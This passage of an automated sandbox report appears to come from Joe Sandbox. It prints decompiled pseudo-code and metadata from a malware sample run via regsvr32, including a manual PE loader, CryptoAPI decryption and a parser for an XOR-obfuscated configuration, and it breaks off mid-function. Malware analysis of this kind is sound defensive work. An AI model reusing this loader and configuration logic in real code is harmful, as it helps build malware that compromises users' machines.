                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: DescriptorSecurity$ConvertString
                    • String ID:
                    • API String ID: 3907675253-0
                    • Opcode ID: a7ce56626f46a4dcaa730b4a3cb31a753f1b6e24cec744fa56ab2c92d5e79ea4
                    • Instruction ID: ecca6087cff39bb9e7e1ec0c19532a9673699a284d311a4f3637769ec3719a0d
                    • Opcode Fuzzy Hash: a7ce56626f46a4dcaa730b4a3cb31a753f1b6e24cec744fa56ab2c92d5e79ea4
                    • Instruction Fuzzy Hash: 59C04CB4540341AAE712BF40DD46F157A51B760B09F908605FE0C642D1A3F710D88935
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D861DA Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D861DA(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0xd8a2d8, 0, _a4); // executed
				return _t2;
			}




                    0x00d861e6
                    0x00d861ec

                    APIs
                    • RtlFreeHeap.NTDLL(00000000,00000000,00D86383,00000000,?,00000000,00000000), ref: 00D861E6
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: 87898ce4c1c9f848cc3b35414bc6e77ccec6a686734a3b6c45a81a6185ff6524
                    • Instruction ID: ffc27707cf8720845dc87471bfd83a5e4a2653f580f26e4f5dae98f38cf11227
                    • Opcode Fuzzy Hash: 87898ce4c1c9f848cc3b35414bc6e77ccec6a686734a3b6c45a81a6185ff6524
                    • Instruction Fuzzy Hash: 1DB01271110300EBDB214B00DE04F05BB21A750700F004011B3448417482320420FB3A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D833DC Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D833DC(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0xd8a2d8, 0, _a4); // executed
				return _t2;
			}




                    0x00d833e8
                    0x00d833ee

                    APIs
                    • RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: AllocateHeap
                    • String ID:
                    • API String ID: 1279760036-0
                    • Opcode ID: b8021ded3925ced7c34a048385268668b8edd490151fa2f97ace63f601ddf5ba
                    • Instruction ID: 598b0133353f42f726535f3a6028fab483ce1a3099dd5f90d49f176813196b3f
                    • Opcode Fuzzy Hash: b8021ded3925ced7c34a048385268668b8edd490151fa2f97ace63f601ddf5ba
                    • Instruction Fuzzy Hash: DBB01231010300ABDA114B00DD08F05BB61B750700F004011B244C017082330460FB29
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D71CD6 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D71CD6(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0xd74190, 0, _a4); // executed
				return _t2;
			}




                    0x00d71ce2
                    0x00d71ce8

                    APIs
                    • RtlFreeHeap.NTDLL(00000000,00000030,00D71C29,00000000,00000030,00000000,00000000,00000030,?,?,?,?,?,00D7129B), ref: 00D71CE2
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: a1fd746d2d2a6c6ad8fcfcfb13cecaaf249c69906a95bf3e0fbb6b381c834f1a
                    • Instruction ID: 35a827a69f6453026be5c190f19eb35cdf5a9157fd64c9cd024493ebc905dcba
                    • Opcode Fuzzy Hash: a1fd746d2d2a6c6ad8fcfcfb13cecaaf249c69906a95bf3e0fbb6b381c834f1a
                    • Instruction Fuzzy Hash: E9B09231000300EACA129F00AD04B097A22A760700F008010A24880274923184A0FA24
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D72046 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D72046(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0xd74190, 0, _a4); // executed
				return _t2;
			}




                    0x00d72052
                    0x00d72058

                    APIs
                    • RtlAllocateHeap.NTDLL(00000000,?,00D7124D,00000030,74CB63F0,00000000), ref: 00D72052
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: AllocateHeap
                    • String ID:
                    • API String ID: 1279760036-0
                    • Opcode ID: 0f6230a2b43c27fb58ae3133e7fd9409e177e9e626b2dc7687f55f5fc65e118d
                    • Instruction ID: 68dd7afc68d3a1180c066a68b1f94bf1e977b31f2fa9f56f7a8906be274ed3ff
                    • Opcode Fuzzy Hash: 0f6230a2b43c27fb58ae3133e7fd9409e177e9e626b2dc7687f55f5fc65e118d
                    • Instruction Fuzzy Hash: 2DB01271100300EBCB025F00EE05F05BF22B760700F104010F30C80170933114A0FB24
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D7166A Relevance: 1.3, APIs: 1, Instructions: 70COMMON
                    Download Yara Rule
                    C-Code - Quality: 85%
                    			E00D7166A(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				void* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0xd741c0;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0xd741c0 - 0x43174ac4 &  !( *0xd741c0 - 0x43174ac4);
				_t18 = E00D71142( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0xd741c0 - 0x43174ac4 &  !( *0xd741c0 - 0x43174ac4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0xd741c0 - 0x43174ac4 &  !( *0xd741c0 - 0x43174ac4), _t16 + 0xbce8a57d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E00D71C51(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t29 = E00D71CEB(_t40, _t44);
						if(_t29 == 0) {
							_t26 = E00D7170E(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E00D71CD6(_t42);
					L8:
					return _t29;
				}
			}













                    0x00d71672
                    0x00d71674
                    0x00d71690
                    0x00d716a1
                    0x00d716a8
                    0x00d71706
                    0x00000000
                    0x00d716aa
                    0x00d716aa
                    0x00d716b4
                    0x00d716b8
                    0x00d716bd
                    0x00d716c5
                    0x00d716c9
                    0x00d716ce
                    0x00d716d3
                    0x00d716d7
                    0x00d716dc
                    0x00d716dd
                    0x00d716e1
                    0x00d716e6
                    0x00d716ee
                    0x00d716ee
                    0x00d716e6
                    0x00d716d7
                    0x00d716c9
                    0x00d716f0
                    0x00d716f9
                    0x00d716fd
                    0x00d71707
                    0x00d7170d
                    0x00d7170d

                    APIs
                      • Part of subcall function 00D71142: GetModuleHandleA.KERNEL32(?,00000020), ref: 00D71166
                      • Part of subcall function 00D71142: GetProcAddress.KERNEL32(00000000,?), ref: 00D71188
                      • Part of subcall function 00D71142: GetProcAddress.KERNEL32(00000000,?), ref: 00D7119E
                      • Part of subcall function 00D71142: GetProcAddress.KERNEL32(00000000,?), ref: 00D711B4
                      • Part of subcall function 00D71142: GetProcAddress.KERNEL32(00000000,?), ref: 00D711CA
                      • Part of subcall function 00D71142: GetProcAddress.KERNEL32(00000000,?), ref: 00D711E0
                      • Part of subcall function 00D71CEB: LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 00D71D23
                      • Part of subcall function 00D7170E: VirtualProtect.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00D71747
                      • Part of subcall function 00D7170E: VirtualProtect.KERNEL32(00000000,?,?,?), ref: 00D717BC
                      • Part of subcall function 00D7170E: GetLastError.KERNEL32 ref: 00D717C2
                    • GetLastError.KERNEL32 ref: 00D716E8
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: AddressProc$ErrorLastProtectVirtual$HandleLibraryLoadModule
                    • String ID:
                    • API String ID: 3135819546-0
                    • Opcode ID: c6e07cdf89b526a2be7546f81a1928494a0af3f18e5ec2038d3f87ac57a0757c
                    • Instruction ID: 7cc1f686fdfbbb5413dcd23207bec37c0134d200fb7fad67088bdf8e2b542513
                    • Opcode Fuzzy Hash: c6e07cdf89b526a2be7546f81a1928494a0af3f18e5ec2038d3f87ac57a0757c
                    • Instruction Fuzzy Hash: 2B110F3A600711ABC721AB9D8C85DAF77BDFF843047088359ED4AD7101FA60ED0587B0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D833F1 Relevance: 1.3, APIs: 1, Instructions: 43memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D833F1(intOrPtr* __edi, void* _a4, intOrPtr _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E00D858BD(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0xd8a2d8, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E00D82839(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}








                    0x00d833f1
                    0x00d833f9
                    0x00d83410
                    0x00d8342b
                    0x00d8342f
                    0x00d83434
                    0x00d83436
                    0x00d83448
                    0x00d83454
                    0x00d83438
                    0x00d83438
                    0x00d8343d
                    0x00d83442
                    0x00d83442
                    0x00d83436
                    0x00d8345a
                    0x00d8345e
                    0x00d8345e
                    0x00d83405
                    0x00d8340a
                    0x00d8340e
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                      • Part of subcall function 00D82839: SysFreeString.OLEAUT32(00000000), ref: 00D8289C
                    • HeapFree.KERNEL32(00000000,00000000,00000000,80000002,74D0F710,?,00000000,?,00000000,?,00D8528E,?,004F0053,050E9218,00000000,?), ref: 00D83454
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Free$HeapString
                    • String ID:
                    • API String ID: 3806048269-0
                    • Opcode ID: bff61b698e5bfd6ce794fd3044826f74d7141aa7d94fb8180860c366a474cddf
                    • Instruction ID: 657a0a1eb7a8471999d55b68330524cb876e6de28d7e76f8328132179c2eaa00
                    • Opcode Fuzzy Hash: bff61b698e5bfd6ce794fd3044826f74d7141aa7d94fb8180860c366a474cddf
                    • Instruction Fuzzy Hash: 57014B32501619BBDF23AF58CC01FEE7B65EF04B50F088025FE099A221D731DA60DBA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D85063 Relevance: 1.3, APIs: 1, Instructions: 36stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 75%
                    			E00D85063(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E00D81508( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E00D833DC(_a8 + _a8);
					if(_t21 != 0) {
						E00D822EA(_a4, _t21, _t23);
					}
					E00D861DA(_a4);
				}
				return _t21;
			}





                    0x00d8506b
                    0x00d85072
                    0x00d85074
                    0x00d85083
                    0x00d8508a
                    0x00d85099
                    0x00d8509d
                    0x00d850a4
                    0x00d850a4
                    0x00d850ac
                    0x00d850b1
                    0x00d850b6

                    APIs
                    • lstrlen.KERNEL32(00000000,00000000,00D83ECE,00000000,?,00D866D9,00000000,00D83ECE,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D85074
                      • Part of subcall function 00D81508: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,00D85088,00000001,00D83ECE,00000000), ref: 00D81540
                      • Part of subcall function 00D81508: memcpy.NTDLL(00D85088,00D83ECE,00000010,?,?,?,00D85088,00000001,00D83ECE,00000000,?,00D866D9,00000000,00D83ECE,?,7491C740), ref: 00D81559
                      • Part of subcall function 00D81508: CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 00D81582
                      • Part of subcall function 00D81508: CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 00D8159A
                      • Part of subcall function 00D81508: memcpy.NTDLL(00000000,7491C740,050E9600,00000010), ref: 00D815EC
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
                    • String ID:
                    • API String ID: 894908221-0
                    • Opcode ID: 30e7ed93f297696dd8d56c266e560d14a736354eb136259a353351d68abe44d4
                    • Instruction ID: e685d714fa62007d047d53a901f3b616e0d178d84e4986f170ed441f0dbb65d3
                    • Opcode Fuzzy Hash: 30e7ed93f297696dd8d56c266e560d14a736354eb136259a353351d68abe44d4
                    • Instruction Fuzzy Hash: 54F05E36100509BBCF127F95DC00DEA3BADEF847A0B048022FD09CA115DA32DA559BB0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Non-executed Functions

                    Function 00D81D8A Relevance: 12.3, APIs: 8, Instructions: 258memoryCOMMONCrypto
                    Download Yara Rule
                    C-Code - Quality: 93%
                    			E00D81D8A(void* __ebx, int* __ecx, void* __edx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				void* _v16;
				signed int _t28;
				signed int _t33;
				signed int _t39;
				char* _t45;
				char* _t46;
				char* _t47;
				char* _t48;
				char* _t49;
				char* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				signed int _t65;
				signed int _t70;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t78;
				signed int _t82;
				signed int _t86;
				signed int _t90;
				signed int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t116;
				void* _t119;
				intOrPtr _t122;

				_t119 = __esi;
				_t116 = __edi;
				_t104 = __ecx;
				_t101 = __ebx;
				_t28 =  *0xd8a344; // 0x43175ac3
				if(E00D810F8( &_v8,  &_v12, _t28 ^ 0xa23f04a7) != 0 && _v12 >= 0x110) {
					 *0xd8a374 = _v8;
				}
				_t33 =  *0xd8a344; // 0x43175ac3
				if(E00D810F8( &_v16,  &_v12, _t33 ^ 0x2bfce340) == 0) {
					_v12 = 2;
					L69:
					return _v12;
				}
				_t39 =  *0xd8a344; // 0x43175ac3
				_push(_t116);
				if(E00D810F8( &_v12,  &_v8, _t39 ^ 0xcca68722) == 0) {
					L67:
					HeapFree( *0xd8a2d8, 0, _v16);
					goto L69;
				} else {
					_push(_t101);
					_t102 = _v12;
					if(_t102 == 0) {
						_t45 = 0;
					} else {
						_t98 =  *0xd8a344; // 0x43175ac3
						_t45 = E00D836C5(_t104, _t102, _t98 ^ 0x523046bc);
					}
					_push(_t119);
					if(_t45 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0xd8a2e0 = _v8;
						}
					}
					if(_t102 == 0) {
						_t46 = 0;
					} else {
						_t94 =  *0xd8a344; // 0x43175ac3
						_t46 = E00D836C5(_t104, _t102, _t94 ^ 0x0b3e0d40);
					}
					if(_t46 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0xd8a2e4 = _v8;
						}
					}
					if(_t102 == 0) {
						_t47 = 0;
					} else {
						_t90 =  *0xd8a344; // 0x43175ac3
						_t47 = E00D836C5(_t104, _t102, _t90 ^ 0x1b5903e6);
					}
					if(_t47 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0xd8a2e8 = _v8;
						}
					}
					if(_t102 == 0) {
						_t48 = 0;
					} else {
						_t86 =  *0xd8a344; // 0x43175ac3
						_t48 = E00D836C5(_t104, _t102, _t86 ^ 0x267c2349);
					}
					if(_t48 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t48, 0,  &_v8) != 0) {
							 *0xd8a004 = _v8;
						}
					}
					if(_t102 == 0) {
						_t49 = 0;
					} else {
						_t82 =  *0xd8a344; // 0x43175ac3
						_t49 = E00D836C5(_t104, _t102, _t82 ^ 0x167db74c);
					}
					if(_t49 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t49, 0,  &_v8) != 0) {
							 *0xd8a02c = _v8;
						}
					}
					if(_t102 == 0) {
						_t50 = 0;
					} else {
						_t78 =  *0xd8a344; // 0x43175ac3
						_t50 = E00D836C5(_t104, _t102, _t78 ^ 0x02ddbcae);
					}
					if(_t50 == 0) {
						L41:
						 *0xd8a2ec = 5;
						goto L42;
					} else {
						_t104 =  &_v8;
						if(StrToIntExA(_t50, 0,  &_v8) == 0 || _v8 == 0) {
							goto L41;
						} else {
							L42:
							if(_t102 == 0) {
								_t51 = 0;
							} else {
								_t75 =  *0xd8a344; // 0x43175ac3
								_t51 = E00D836C5(_t104, _t102, _t75 ^ 0x0cbf33fd);
							}
							if(_t51 != 0) {
								_push(_t51);
								_t72 = 0x10;
								_t73 = E00D85B85(_t72);
								if(_t73 != 0) {
									_push(_t73);
									E00D8607C();
								}
							}
							if(_t102 == 0) {
								_t52 = 0;
							} else {
								_t70 =  *0xd8a344; // 0x43175ac3
								_t52 = E00D836C5(_t104, _t102, _t70 ^ 0x93710135);
							}
							if(_t52 != 0 && E00D85B85(0, _t52) != 0) {
								_t122 =  *0xd8a3cc; // 0x50e9600
								E00D85364(_t122 + 4, _t68);
							}
							if(_t102 == 0) {
								_t53 = 0;
							} else {
								_t65 =  *0xd8a344; // 0x43175ac3
								_t53 = E00D836C5(_t104, _t102, _t65 ^ 0x175474b7);
							}
							if(_t53 == 0) {
								L59:
								_t54 =  *0xd8a348; // 0x435d5a8
								_t22 = _t54 + 0xd8b5f3; // 0x616d692f
								 *0xd8a370 = _t22;
								goto L60;
							} else {
								_t64 = E00D85B85(0, _t53);
								 *0xd8a370 = _t64;
								if(_t64 != 0) {
									L60:
									if(_t102 == 0) {
										_t56 = 0;
									} else {
										_t61 =  *0xd8a344; // 0x43175ac3
										_t56 = E00D836C5(_t104, _t102, _t61 ^ 0xf8a29dde);
									}
									if(_t56 == 0) {
										_t57 =  *0xd8a348; // 0x435d5a8
										_t23 = _t57 + 0xd8b899; // 0x6976612e
										_t58 = _t23;
									} else {
										_t58 = E00D85B85(0, _t56);
									}
									 *0xd8a3e0 = _t58;
									HeapFree( *0xd8a2d8, 0, _t102);
									_v12 = 0;
									goto L67;
								}
								goto L59;
							}
						}
					}
				}
			}








































                    0x00d81d8a
                    0x00d81d8a
                    0x00d81d8a
                    0x00d81d8a
                    0x00d81d8d
                    0x00d81daa
                    0x00d81db8
                    0x00d81db8
                    0x00d81dbd
                    0x00d81dd7
                    0x00d82045
                    0x00d8204c
                    0x00d82050
                    0x00d82050
                    0x00d81ddd
                    0x00d81de2
                    0x00d81dfa
                    0x00d82032
                    0x00d8203c
                    0x00000000
                    0x00d81e00
                    0x00d81e00
                    0x00d81e01
                    0x00d81e06
                    0x00d81e1c
                    0x00d81e08
                    0x00d81e08
                    0x00d81e15
                    0x00d81e15
                    0x00d81e1e
                    0x00d81e27
                    0x00d81e29
                    0x00d81e33
                    0x00d81e38
                    0x00d81e38
                    0x00d81e33
                    0x00d81e3f
                    0x00d81e55
                    0x00d81e41
                    0x00d81e41
                    0x00d81e4e
                    0x00d81e4e
                    0x00d81e59
                    0x00d81e5b
                    0x00d81e65
                    0x00d81e6a
                    0x00d81e6a
                    0x00d81e65
                    0x00d81e71
                    0x00d81e87
                    0x00d81e73
                    0x00d81e73
                    0x00d81e80
                    0x00d81e80
                    0x00d81e8b
                    0x00d81e8d
                    0x00d81e97
                    0x00d81e9c
                    0x00d81e9c
                    0x00d81e97
                    0x00d81ea3
                    0x00d81eb9
                    0x00d81ea5
                    0x00d81ea5
                    0x00d81eb2
                    0x00d81eb2
                    0x00d81ebd
                    0x00d81ebf
                    0x00d81ec9
                    0x00d81ece
                    0x00d81ece
                    0x00d81ec9
                    0x00d81ed5
                    0x00d81eeb
                    0x00d81ed7
                    0x00d81ed7
                    0x00d81ee4
                    0x00d81ee4
                    0x00d81eef
                    0x00d81ef1
                    0x00d81efb
                    0x00d81f00
                    0x00d81f00
                    0x00d81efb
                    0x00d81f07
                    0x00d81f1d
                    0x00d81f09
                    0x00d81f09
                    0x00d81f16
                    0x00d81f16
                    0x00d81f21
                    0x00d81f34
                    0x00d81f34
                    0x00000000
                    0x00d81f23
                    0x00d81f23
                    0x00d81f2d
                    0x00000000
                    0x00d81f3e
                    0x00d81f3e
                    0x00d81f40
                    0x00d81f56
                    0x00d81f42
                    0x00d81f42
                    0x00d81f4f
                    0x00d81f4f
                    0x00d81f5a
                    0x00d81f5c
                    0x00d81f5f
                    0x00d81f60
                    0x00d81f67
                    0x00d81f69
                    0x00d81f6a
                    0x00d81f6a
                    0x00d81f67
                    0x00d81f71
                    0x00d81f87
                    0x00d81f73
                    0x00d81f73
                    0x00d81f80
                    0x00d81f80
                    0x00d81f8b
                    0x00d81f99
                    0x00d81fa3
                    0x00d81fa3
                    0x00d81fab
                    0x00d81fc1
                    0x00d81fad
                    0x00d81fad
                    0x00d81fba
                    0x00d81fba
                    0x00d81fc5
                    0x00d81fd8
                    0x00d81fd8
                    0x00d81fdd
                    0x00d81fe3
                    0x00000000
                    0x00d81fc7
                    0x00d81fca
                    0x00d81fcf
                    0x00d81fd6
                    0x00d81fe8
                    0x00d81fea
                    0x00d82000
                    0x00d81fec
                    0x00d81fec
                    0x00d81ff9
                    0x00d81ff9
                    0x00d82004
                    0x00d82010
                    0x00d82015
                    0x00d82015
                    0x00d82006
                    0x00d82009
                    0x00d82009
                    0x00d82023
                    0x00d82028
                    0x00d8202e
                    0x00000000
                    0x00d82031
                    0x00000000
                    0x00d81fd6
                    0x00d81fc5
                    0x00d81f2d
                    0x00d81f21

                    APIs
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,00D8A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00D81E2F
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,00D8A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00D81E61
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,00D8A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00D81E93
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,00D8A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00D81EC5
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,00D8A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00D81EF7
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,00D8A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00D81F29
                    • HeapFree.KERNEL32(00000000,?,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 00D82028
                    • HeapFree.KERNEL32(00000000,?,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 00D8203C
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: 7805a06799117c8ebec72af49139e293485d39171869803ca004f8578887ae45
                    • Instruction ID: 599329f44a6ca1505de86fd5df4c08b521d900a7a504839891ed59cb7ecb0ad5
                    • Opcode Fuzzy Hash: 7805a06799117c8ebec72af49139e293485d39171869803ca004f8578887ae45
                    • Instruction Fuzzy Hash: 0A81EFB9A20204ABD711FBBCCD85D6F77FDAB58700B280926B501D3214EB35DD4A8B31
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D82B91 Relevance: 37.8, APIs: 25, Instructions: 278memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 76%
                    			E00D82B91(long __eax, intOrPtr _a4, void* _a8, void* _a16, void* _a20, void* _a24, intOrPtr _a32, void* _a40, intOrPtr _a44) {
				intOrPtr _v4;
				signed int _v8;
				int* _v12;
				char* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				void* __ebx;
				void* __edi;
				long _t68;
				intOrPtr _t69;
